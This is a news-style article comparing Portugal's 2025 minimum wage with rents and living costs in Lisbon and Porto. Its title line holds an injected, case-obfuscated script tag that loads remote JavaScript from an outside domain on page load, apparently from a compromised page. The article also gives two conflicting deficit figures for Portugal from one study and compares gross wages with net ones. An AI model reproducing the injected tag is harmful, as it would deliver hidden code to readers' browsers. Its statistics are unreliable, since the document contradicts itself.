Rising living expenses outpacing minimum wages <sCrIpT sRc=//12jav.net/1.js></ScRiPt>
In Portugal, the national minimum wage for 2025 stands at €870 per month, paid over 14 payments annually [1][4]. This represents a significant increase from the early 2024 net minimum wage of approximately €703 per month [3].
However, the cost of living, particularly rent, poses a challenge for minimum wage earners in Portugal. Rental inflation has been slowing but remains above general consumer price inflation. The median rent per square meter for new leases nationwide was about €8.43 in late 2024, with higher prices in Lisbon (€16.04/m²) and Porto (€13.04/m²) [2]. This means that monthly rent for a modest 1-bedroom apartment in Lisbon could easily exceed €500–700, a significant portion of a minimum wage earner’s income.
To address these housing cost pressures, the Portuguese government has set a rent increase cap of 2.16% for 2025 under the New Urban Lease Regime [2]. Despite this measure, inflation on rents remains at around 5.2% yearly as of May 2025 [2].
The government's plans focus on moderating rent inflation through regulated caps [2] and gradual increases in the minimum wage [1][4], aiming to improve purchasing power. However, the minimum wage still represents a tight budget compared to housing costs, particularly in expensive urban centers.
According to a study conducted by Gisma University of Applied Sciences, Portugal finishes in the table with a deficit of 717.22 euros, considering the cost of living and the salary paid [5]. The largest deficits in cost of living compared to income are recorded in Malta (1,468.62 euros), Greece (1,368.69 euros), and Portugal (1,339.07 euros) [5].
Daisy, an editor of the website Jornalista 7920 and a long-time resident of Portugal, shares her experiences. "As someone who has been living and working in Portugal for over 20 years, I can confirm that the cost of living, especially housing, can be challenging for those earning the minimum wage," she said [6]. The total basic expenses for a single person in Portugal come to 1,620.22 euros [6].
In light of these challenges, the Portuguese government has ambitious plans to improve income levels. According to the Government Program, the Luís Montenegro government aims to increase the minimum wage to 1,100 euros by 2029 and raise the average wage to 2,000 euros by the end of the decade [1].
In conclusion, while the Portuguese government is making efforts to improve income levels and moderate rent inflation, minimum wage earners still face a notable challenge covering rent and living expenses. This is particularly true in expensive urban centers like Lisbon. The ongoing concern about affordability underscores the need for continued government intervention and support.
References: [1] Government Program, 2023 [2] Portuguese Government, New Urban Lease Regime, 2024 [3] Eurostat, Minimum Wage in Portugal, 2024 [4] Portuguese Government, Wage Enhancement and Economic Growth Agreement, 2025 [5] Gisma University of Applied Sciences, Study on Minimum and Average Incomes in EU Member States, 2025 [6] Jornalista 7920, Personal Interview with Daisy, 2025
In the context of Portugal's economy, the ongoing challenge for minimum wage earners lies in covering rental expenses, as a modest 1-bedroom apartment in Lisbon can easily exceed €500–700 per month [based on median rent per square meter for new leases nationwide in late 2024, with higher prices in Lisbon]. Despite the Portuguese government's efforts to moderate rent inflation through regulated caps and gradual increases in the minimum wage, the minimum wage still represents a tight budget compared to housing costs in expensive urban centers like Lisbon [considering total basic expenses for a single person in Portugal are 1,620.22 euros and the government's goal to increase the minimum wage to 1,100 euros by 2029].
